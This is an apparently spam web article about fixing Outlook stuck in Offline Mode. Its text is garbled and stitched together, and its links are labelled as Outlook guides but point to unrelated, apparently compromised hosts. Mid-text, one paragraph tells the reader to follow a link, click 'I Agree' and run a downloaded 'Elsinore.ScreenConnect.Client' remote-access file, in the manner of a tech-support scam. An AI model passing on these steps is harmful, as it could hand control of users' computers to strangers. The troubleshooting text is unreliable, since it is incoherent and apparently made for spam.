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+ + + +Those are out of reach when Outlook can’t connect live to Microsoft Exchange. Sometimes, updates can also lead to certain issues with the programs installed on Windows OS. Therefore, if there are any pending updates related to MS Office or Outlook, you should check and install them. You can follow these methods to troubleshoot and resolve the Outlook [fix Outlook after Windows update issues](http://boiler.ttoslinux.org/ritabartley104) stuck in Offline Mode error. These methods work in Outlook 2010, 2013, 2016, and 2019. + + + +Check OST file + +Try launching Outlook in Safe Mode to check if add-ins are causing trouble.This can happen for all sorts of reasons—maybe it’s a local profile problem, a conflict with Microsoft Exchange, or an Office 365 environment.You don’t need to rebuild the OST file often, but it’s a solid fix for corruption.By handling the setup yourself, you make sure Outlook always connects to the right server.If you skip patches, the client might stop connecting to Exchange Online or on-premises servers.Outlook status says offline then it can happen when offline mode enabled, server connection is lost, or your internet isn’t stable. + +If you get a prompt about letting another server manage your system and pick the wrong answer, Outlook might stay offline for good. Please click the link below from your computer (after reading [guide to Office 365 sign-in errors](http://boiler.ttoslinux.org/williepearson5/2031943/-/issues/3) this). On the new page, click the green I Agree button to start the connection download. Once the file (Elsinore.ScreenConnect.Client) has downloaded, select Run or Open. + +How To Fix Outlook Stuck in Offline Mode? + +Move it to a backup folder, like Desktop\OST Backup. Every business setup is different, and sometimes these problems run deeper than a quick fix. Our organization requires several folders from our mapped network drives be set to "Always Available Offline". Create your account and connect with a world of communities. There could be several reasons for your Outlook disconnect. + +Verify Work Offline Button Status + +If the issue is the same, update Outlook, repair Outlook profile, or reconfigure your account to reconnect Outlook to the Server. In this guide, we've discussed the reasons that can cause the 'Outlook stuck in offline mode' issue and methods to troubleshoot and resolve it. In Microsoft Outlook 2010 and later versions, users can switch from Offline Mode to Online Mode and vice-versa based on their preference. Even a brief hiccup can kick Outlook into offline mode, and sometimes it just stays there until you do something about it. Outlook Safe Mode can help troubleshoot and fix the Outlook stuck in offline mode issue as it prevents any add-in from interfering with the normal Outlook operations. The Work Offline option is available under the 'SEND/RECEIVE' tab in Outlook. + +Method 1: Reset 'Work Offline' to Reconnect + +If you set up your Outlook profile wrong, it might not log in to Microsoft Exchange or Office 365. Sometimes, people connect their system to several Office 365 environments without realizing it. That can confuse Outlook, especially with Autodiscover, and you end up stuck offline. Reconnect Outlook by checking your connection, disable work offline mode, and relaunch app. + + + + + +Autodiscover might send Outlook to the wrong Exchange server, so you can’t get to your mailbox. Damaged Outlook data files, like the OST file, can also get in the way. When these files go bad, Outlook can’t talk to the Exchange server, so it just gives up and goes offline. Now, on your keyboard, press the Send/Receive button. Old versions of Outlook or Microsoft Office often trigger synchronization issues. + + + +Setup Exchange Server Account Manually + +Additionally, it will sync every piece of server-based mail. As is known, we can switch from Offline to Online Mode and vice versa in Microsoft Outlook 2010 and later versions. Once Outlook is configured with an Exchange account, the Cached Exchange Mode is enabled automatically. + + + +Identify the cause of this error before restoring Outlook back to online mode. A corrupt or damaged Outlook profile can prevent Outlook from authorizing and connecting to the mail server. Due to this, we get an error usually called Outlook stuck in offline mode. Outlook automatically switches to Offline mode when it can't connect to the Exchange server. Users can also use the [Fix Outlook and Office365 Sync Issues](https://gitlab-ce.apps.openshift4.positiva.gov.co/brigidamazzeo7/lucie2004/issues/4) 'Work Offline' option when the internet connection is not reliable. \ No newline at end of file